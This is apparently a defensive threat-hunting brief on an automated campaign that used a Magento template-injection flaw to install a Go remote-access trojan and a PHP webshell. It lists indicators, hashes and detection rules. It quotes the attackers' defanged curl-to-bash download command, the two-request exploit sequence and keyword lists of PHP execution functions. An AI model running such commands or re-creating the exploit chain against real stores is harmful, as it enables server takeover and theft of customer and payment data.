StyleSmuggler Turns Magento Stores Into Hosts for a Go RAT and Webshell

The Magento bug known as StyleSmuggler has become a free-for-all. Imperva says that from Sept. 9 to 13 an automated campaign hit Magento and Adobe Commerce stores in Western Europe, North America and Asia-Pacific through CVE-2026-75650, installing a shell-script dropper, a Go remote-access trojan it calls PSK Agent and, on some stores, a full PHP webshell. The dropper had zero detections on VirusTotal when Imperva looked.

transfer.chinow.abrdns[.]com (dropper and RAT delivery)
transfer.onlypsk.abrdns[.]com (webshell delivery)
*.0f851bdc9d.ddns.1433.eu[.]org (DNS success beacon)
ntp.timesync[.]to, 185.157.160[.]251 (NTP-shaped C2, UDP 123)
windwsecurity[.]run (C2, TCP 443)
Attack sources: 132.243.238[.]178, 86.107.100[.]105, 185.18.222[.]13, 64.204.130[.]9

psk_agent.sh SHA256 fc9bcdb3a442880e585d6fe4ddaec62d62af641f8ac3cceeb6a553985a7d9094
chi_down SHA256 6dbfb04c063170af13a8151346898ebcb9c4b827fa8d16a96018419b746601a6
t4.php / zer4.php SHA256 1811a1d63310737e969348d16d95f80bf56f8e8896fc64eb5d6d6dc314e2a547
Files: pub/media/zer4.php, SSP_*.txt / ssp_*.txt

Source article: StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores
Publisher: Imperva Threat Research
Published: Nov. 2, 2026
URL: https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/

Executive Summary

Imperva describes an automated campaign, active Sept. 9 to 13, 2026, that exploited StyleSmuggler (CVE-2026-75650, a CVSS 10.0 template-injection flaw in Adobe Commerce and Magento Open Source, on CISA’s KEV list since Sept. 8) against internet-exposed stores across Western Europe, North America and the Asia-Pacific region, from five attack clusters and four main source IPs. The operator, assessed with moderate confidence as Chinese-speaking but not tied to any named group, is one of several crews now using the same bug with different payloads. The chain places PHP in the query string of /paypal/transparent/response/ so Magento writes it into an error report under var/report/, then triggers it through /graphql with attacker-controlled styles parameters; the PHP tries several command-execution functions to run curl -fsSL against hxxp://transfer.chinow.abrdns[.]com/get/psk_agent.sh piped into bash. The 3,313-byte POSIX dropper finds a writable and executable directory, fetches chi_down, an obfuscated 10.5 MB Go remote-access trojan Imperva tracks as PSK Agent with shell, host discovery, SOCKS5 proxying, encrypted channels and scheduled persistence, and launches it with setsid or nohup. Some payloads beacon success through DNS lookups of hostname-bearing subdomains of 0f851bdc9d.ddns.1433.eu[.]org, and a subset of stores received t4.php, written as the 910-line AES-protected webshell zer4.php in pub/media/. The objective is durable remote control of e-commerce servers, with exposure of store secrets, payment-gateway credentials and customer data as the impact. Hunt leads, false positive expectations and indicators are detailed below; the source published no YARA or Sigma rules.

ATT&CK chain: Initial Access → Execution → Persistence → Defense Evasion → Discovery → Command and Control

Hunt Lead Grid

PSK Agent Infrastructure and File Sweep

The delivery URL hxxp://transfer.chinow.abrdns[.]com/get/psk_agent.sh appeared 96 times across 12 payload variants from four main source IPs, 132.243.238[.]178, 86.107.100[.]105, 185.18.222[.]13 and 64.204.130[.]9. The dropper psk_agent.sh pulled chi_down into the first writable and executable directory it found among $HOME, /tmp, /var/tmp and /dev/shm; t4.php came from transfer.onlypsk.abrdns[.]com and was written as zer4.php in pub/media/, alongside SSP_*.txt or ssp_*.txt output files. Successful runs looked up hostname-bearing subdomains under 0f851bdc9d.ddns.1433.eu[.]org, and the wider toolkit used ntp.timesync[.]to (185.157.160[.]251, UDP 123) and windwsecurity[.]run (TCP 443). The detection logic is a retrospective sweep of web access logs for the four source IPs, of DNS and proxy logs for the five attacker hostnames and that IP, and of file telemetry or a filesystem search for the three published SHA-256 hashes and the names psk_agent.sh, chi_down, zer4.php and SSP_*.txt.

Use web server or WAF access logs, DNS resolver logs, egress firewall logs and a file search on every Magento host, and sweep back to at least early September, since the campaign ran Sept. 9 to 13 and persistence will have survived patching. abrdns.com and eu.org are shared dynamic DNS and free subdomain services, so match the full attacker subdomains rather than blocking the parent services. Imperva’s list also includes 99.84.67[.]186 as a reported StyleSmuggler C2; that address sits in Amazon CloudFront space, so treat a hit as context only and never block it. Any match on a hash, file name or attacker subdomain means the store is compromised and should be handled as a full incident with secret rotation, not just patched.

Hunt Lead Level: 1 (Junior Analyst)

ATT&CK: Command and Control → T1105 (Ingress Tool Transfer) (mapping per source article)

Sources: “StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores”, Imperva Threat Research, Nov. 2, 2026, https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/ (source article)

StyleSmuggler Two-Request Pattern

StyleSmuggler is a two-stage attack on Magento’s template processing. First the attacker sends PHP source in the query string of /paypal/transparent/response/; Magento raises an error and writes the full request, malicious query string included, to a report file under var/report/. A second request to /graphql then supplies attacker-controlled styles parameters that load the poisoned report file and evaluate the embedded PHP; later variants point the same gadget chain at writable Magento log files. Imperva saw nearly identical PHP payloads across five clusters, which marks automated tooling. The detection logic is a WAF or access-log rule for requests to /paypal/transparent/response/ whose query string contains PHP markers (<?php, shell_exec, system, exec, passthru, base64_decode), a correlated rule for a /graphql request from the same source within minutes whose body references styles with a path into var/report/ or var/log/, and a file rule for new report files under var/report/ that contain PHP tags.

Use WAF logs with request bodies where available, web server access logs, and file integrity monitoring on var/report/ and var/log/. Sweep from Sept. 7, when the CVE was published, to now, and scope to every Adobe Commerce and Magento Open Source instance, including staging copies, which are often forgotten and unpatched. Allowlisting is rarely needed because legitimate PayPal callbacks don’t carry code, but suppress your own vulnerability scanner by source IP. Relying only on a signature for one payload string is the wrong control, since the payloads vary across 12 variants; anchor on the endpoint pair and on PHP appearing in report files. A request match without a later GraphQL call is an attempt to log; a match on both, or PHP in a report file, means code likely ran and should go to incident response.

Hunt Lead Level: 2 (Pro)

ATT&CK: Initial Access → T1190 (Exploit Public-Facing Application) (mapping per source article)

Sources: “StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores”, Imperva Threat Research, Nov. 2, 2026, https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/ (source article)

New PHP Files in Magento Media Directories

In a subset of attacks the operators downloaded t4.php from transfer.onlypsk.abrdns[.]com and wrote it as zer4.php in publicly reachable Magento directories including pub/media/. The 910-line file manager and webshell lets the operator browse and change files, upload and download, evaluate PHP and run OS commands, cycles through several execution methods including PHP’s Foreign Function Interface to call libc directly when common functions are disabled, and protects commands with AES-256-CBC using a hardcoded key shared across samples; its output files are named SSP_*.txt or ssp_*.txt. The detection logic is a file-creation rule for any .php, .phtml or .phar file written under pub/media/, pub/static/ or the Magento root by the web server or PHP-FPM user, plus an access-log rule for POST requests to PHP files under pub/media/, which a normal store never serves.

Use file integrity monitoring or EDR file telemetry on the web root, and web access logs. Sweep the whole web root now, not just new events, since the webshell may predate your monitoring, and repeat after every deployment. Deployments legitimately write PHP elsewhere in the tree, so allowlist by deployment user and time window, never by file name, because zer4.php is trivially renamed. Blocking the webshell hash is the wrong primary control because each copy can differ; deny PHP execution in pub/media/ at the web server, which stops this class of webshell outright. Any PHP file in a media directory is a compromise: preserve it, check for SSP_*.txt output to see what was run, and escalate. This generalizes to almost every PHP web application attack.

Hunt Lead Level: 2 (Pro)

ATT&CK: Persistence → T1505.003 (Server Software Component: Web Shell) (mapping per source article)

Sources: “StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores”, Imperva Threat Research, Nov. 2, 2026, https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/ (source article)

Web Server Spawns Curl-to-Shell and Beacons Over DNS

Once the PHP ran, it executed curl -fsSL hxxp://transfer.chinow.abrdns[.]com/get/psk_agent.sh | bash through the first working function among shell_exec, system, exec and passthru, with errors suppressed. The script then fetched chi_down with curl, wget, Python 2 or Python 3 and started it in the background with setsid or nohup and the arguments -checkagent=false -maintain=true. Some payloads normalized the server’s hostname and resolved {victim-hostname}.cmd{hex}.0f851bdc9d.ddns.1433.eu[.]org while also making an HTTP request, so a single DNS query told the operator the exploit worked even when HTTP egress was blocked. The detection logic joins, per host within ten minutes, a process event where the parent is php-fpm, php, apache2, httpd or nginx and the child is sh or bash running curl or wget piped to a shell, or setsid or nohup launching a binary from /tmp, /var/tmp, /dev/shm or $HOME; and a DNS query from that host whose leftmost label contains the host’s own name or a long hex string under a domain the host has never queried.

Use Linux EDR or auditd execve logging with parent process, plus DNS resolver logs that record the querying host. Sweep 90 days and scope to all PHP web servers. Some Magento extensions call shell utilities, so allowlist by exact command line, not by parent, and treat any pipe-to-shell from a web worker as suspicious regardless. Blocking all outbound DNS from web servers is impractical, but forcing them to an internal resolver that logs queries is what makes the DNS half visible at all. Treat a correlated hit as confirmed code execution: isolate the host and rotate everything the web user can read. The process half generalizes to most web-application exploitation on Linux, and the DNS half catches any campaign that uses DNS as a success beacon.

Hunt Lead Level: 3 (Elite)

ATT&CK: Execution → T1059.004 (Command and Scripting Interpreter: Unix Shell); Command and Control → T1071.004 (Application Layer Protocol: DNS) (mapping per source article)

Sources: “StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores”, Imperva Threat Research, Nov. 2, 2026, https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/ (source article)

Hash Appendix

PSK Agent toolkit

SHA-256s from the source article; MD5s and SHA-1s were not published (OTX AlienVault and VirusTotal not checked).

MD5s
(not available)  # psk_agent.sh -> shell-script dropper, run via curl | bash
(not available)  # chi_down -> PSK Agent Go RAT, dropped in $HOME, /tmp, /var/tmp or /dev/shm
(not available)  # t4.php / zer4.php -> PHP webshell written to pub/media/

SHA1s
(not available)  # psk_agent.sh -> shell-script dropper, run via curl | bash
(not available)  # chi_down -> PSK Agent Go RAT, dropped in $HOME, /tmp, /var/tmp or /dev/shm
(not available)  # t4.php / zer4.php -> PHP webshell written to pub/media/

SHA256s
fc9bcdb3a442880e585d6fe4ddaec62d62af641f8ac3cceeb6a553985a7d9094  # psk_agent.sh -> shell-script dropper, run via curl | bash
6dbfb04c063170af13a8151346898ebcb9c4b827fa8d16a96018419b746601a6  # chi_down -> PSK Agent Go RAT, dropped in $HOME, /tmp, /var/tmp or /dev/shm
1811a1d63310737e969348d16d95f80bf56f8e8896fc64eb5d6d6dc314e2a547  # t4.php / zer4.php -> PHP webshell written to pub/media/

References Appendix

• “StyleSmuggler Exploitation Deploys PSK Agent RAT Against Magento Stores”, Imperva Threat Research, Nov. 2, 2026, https://www.imperva.com/blog/stylesmuggler-exploitation-deploys-psk-agent-rat-against-magento-stores/ (source article; exploitation chain, payloads, ATT&CK mapping, attribution and indicators)
• Adobe security bulletin APSB26-146 (Adobe Commerce and Magento), Adobe, https://helpx.adobe.com/security/products/magento/apsb26-146.html (vendor fix for CVE-2026-75650)
• MITRE ATT&CK Enterprise technique pages linked above, MITRE, https://attack.mitre.org/